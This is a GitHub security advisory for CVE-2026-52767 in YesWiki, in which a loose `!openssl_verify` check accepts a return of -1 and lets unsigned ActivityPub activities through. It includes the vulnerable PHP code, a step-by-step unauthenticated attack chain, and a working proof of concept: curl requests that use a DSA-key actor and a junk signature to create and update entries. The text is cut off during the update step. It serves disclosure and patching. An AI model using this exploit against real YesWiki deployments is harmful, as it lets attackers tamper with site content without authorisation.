GitHub Advisoryadvisory · Packagist
GHSA-mv28-wj57-f57g YesWiki Vulnerable to Unauthenticated ActivityPub Signature-Verification Bypass via `!openssl_verify(...)` accepting `int(-1)`
HIGH
Official page ↗
- Aliases
- CVE-2026-52767
- Ecosystem
- Packagist
- Packages
- yeswiki/yeswiki
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
- Weaknesses
- CWE-347
- Reviewed
- 2026-07-09
Affected packages
• Packagist yeswiki/yeswiki: >= 4.6.2, < 4.6.6 → fixed in 4.6.6
Description
Summary
`HttpSignatureService::verifySignature()` checks the result of PHP's `openssl_verify()` with a loose boolean negation - `if (!openssl_verify(...)) { throw ... }`. PHP's `openssl_verify` has four possible return values:
| return | meaning | `!return` |
| ------ | ------------------------------------------------ | --------- |
| `1` | signature is valid | `false` |
| `0` | signature is invalid | `true` ✓ |
| `-1` | the verify call itself failed (internal error) | `false` ❌ |
| `false`| input rejected by PHP's argument validation | `true` ✓ |
The `-1` row is the bypass: PHP's truthiness rules make `-1` a truthy value, so `!(-1) === false`, the throw is skipped, and the controller proceeds to `processActivity()`. Any condition that makes OpenSSL's `EVP_VerifyFinal()` return `-1` triggers the bypass.
The two practical paths to `-1` we are aware of:
1. DSA / EC public key with an RSA-only algorithm. `openssl_verify(..., $dsaKey, "RSA-SHA256")` returns `int(-1)` on PHP 8.3 + OpenSSL 3.x. This is the path the PoC uses; it works against an unmodified `php:8.3-apache` lab and against any deployment using the runtime stack YesWiki's own docker image ships.
2. Older PHP + older OpenSSL where any unrecognised digest name returned `-1` rather than `false`. The reporting research mentions this path; on current stacks `false` is returned instead and the throw fires correctly. The DSA path replaces it.
The reachable consequence is the same in both cases - the controller silently treats a failed verification as success and processes the attacker's payload.
Details
Affected component
• File: `tools/bazar/services/HttpSignatureService.php`
• Method: `HttpSignatureService::verifySignature(Request $request)`
• Sink: line 130
```php
// tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD)
public function verifySignature(Request $request) {
... // [Signature parse,
// outbound key fetch — see the SSRF advisory]
$actorPublicKey = openssl_get_publickey($actor['publicKey']['publicKeyPem']);
...
if (!openssl_verify( // (a) LOOSE BOOLEAN CHECK
join("\n", $sigParts),
base64_decode($sigConf['signature']),
$actorPublicKey,
strtoupper($sigConf['algorithm'])
)) {
throw new Exception('Signature verification failed'); // (b) skipped when openssl_verify == -1
}
if ($request->headers->get('Digest') !== $this->getDigest($request->getContent())) {
throw new Exception('Digest mismatch'); // (c) still enforced — easy to satisfy
}
}
```
The inbox controller calls `verifySignature()` and then runs `processActivity($activity, $form)`, which is what actually mutates state.
End-to-end attack chain
A single unauthenticated POST per operation. No session, no CSRF, no real signature.
1. Stand up an actor document that the attacker controls — any public web server (or webhook receiver) that returns a JSON body with the shape:
```json
{
"id": "",
"publicKey": {
"id": "",
"publicKeyPem": ""
}
}
```
2. Send a Create / Update / Delete activity to `POST /api/forms/{enabled-form-id}/actor/inbox`:
```http
POST /?api/forms/2/actor/inbox HTTP/1.1
Host: target.example
Content-Type: application/activity+json
Date:
Digest: SHA-256=
Signature: keyId="",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="
{"@context":"https://www.w3.org/ns/activitystreams","type":"Create",
"actor":"",
"object":{"id":"","type":"Event","name":"...","startTime":"..."}}
```
3. YesWiki fetches the actor document (line 96 - the SSRF; see sibling advisory), parses it, calls `openssl_get_publickey(...)` which returns a valid OpenSSL key handle (DSA is parsed successfully), then calls `openssl_verify($data, "junk-sig", $dsaKey, "RSA-SHA256")`. EVP_VerifyFinal returns `-1`. The check `!openssl_verify(...)` evaluates to `false` and the throw is skipped.
4. `Digest` header is enforced, but it's a simple `SHA-256=` of the body the attacker chose, so satisfying it costs one `sha256sum`.
5. `processActivity($activity, $form)` runs: Create → `EntryManager::create()`, Update → `EntryManager::update()`, Delete → `EntryManager::delete()`. The triple store records the attacker's `object.id` as the source URL, which is how Update / Delete locate the entry on subsequent calls.
PoC
Pre Reqs
• Yeswiki v4.6.5 lab image (Setup via podman)
• ActivityPub enabled on the target form
For the rest of this document:
```bash
BASE="http://localhost:8085"
CTR="yeswiki-poc"
KEYID="http://127.0.0.1:9999/actors/attacker"
FORM_ID=2
MARKER="DEMO_$(date +%s)"
```
PHP one-liner - runs against the exact PHP+OpenSSL the lab is using. Confirm that `openssl_verify` returns `-1`.
```bash
podman exec "$CTR" php -r '
$pem = file_get_contents("/tmp/attacker_keys/dsa.pub");
$key = openssl_get_publickey($pem);
$r = openssl_verify("hello", "junk", $key, "RSA-SHA256");
echo "openssl_verify returned: " . var_export($r, true) . "\n";
echo "!openssl_verify(...) is: " . var_export(!$r, true) . "\n";
'
```
Expected output:
```
openssl_verify returned: -1
!openssl_verify(...) is: false
```
Verify the listener is up and serving the DSA-key actor
```bash
podman exec "$CTR" cat /tmp/ssrf_listener.pid
podman exec "$CTR" ps -p $(podman exec "$CTR" cat /tmp/ssrf_listener.pid) -o stat=
podman exec "$CTR" curl -s http://127.0.0.1:9999/actors/attacker | head -c 300; echo
```
Expected output: a PID, `S` (sleeping/alive), and a JSON document beginning with `{"@context":"https://www.w3.org/ns/activitystreams","id":"http://127.0.0.1:9999/actors/attacker", ...` and a `publicKeyPem` field whose value starts with `-----BEGIN PUBLIC KEY-----\nMIIB...` (the DSA key - note the `Bv` prefix typical of DSA-key DER, not the `Ij` of RSA).
Build a JSON Create activity that the Agenda form's reverse-semantic template can map (it expects an `Event` with `name`, `content`, `startTime`, `endTime`, `location.address.*`, etc.):
```bash
ACTIVITY='{
"@context": "https://www.w3.org/ns/activitystreams",
"type": "Create",
"id": "http://127.0.0.1:9999/activity/c-'"$MARKER"'",
"actor":"'"$KEYID"'",
"object": {
"id": "http://127.0.0.1:9999/objects/'"$MARKER"'",
"type": "Event",
"name": "'"$MARKER"' — created via the signature-verification bypass",
"content": "openssl_verify returned -1; YesWiki accepted us anyway",
"startTime": "2026-12-01T10:00:00Z",
"endTime": "2026-12-01T12:00:00Z"
}
}'
Digest must equal SHA-256= base64(sha256(body)) - this header IS enforced
DIGEST="SHA-256=$(printf '%s' "$ACTIVITY" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"
SIG='keyId="'"$KEYID"'",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="'
curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
-H "Content-Type: application/activity+json" \
-H "Date: ${DATE}" \
-H "Digest: ${DIGEST}" \
-H "Signature: ${SIG}" \
--data-raw "$ACTIVITY" \
-w '\n HTTP %{http_code}\n'
```
Now, try udating the entry via the same bypass
The triple store records `` from the Create. An Update activity referencing the same `object.id` will look that up and rewrite the entry's body.
```bash
UPDATE_ACT='{
"@context": "https://www.w3.org/ns/activitystream…
Related
Alias · CVE (1)
- CVE-2026-52767 YesWiki is a wiki system written in PHP. vulnerability
Weakness · CWE (1)
- CWE-347 Improper Verification of Cryptographic Signature weakness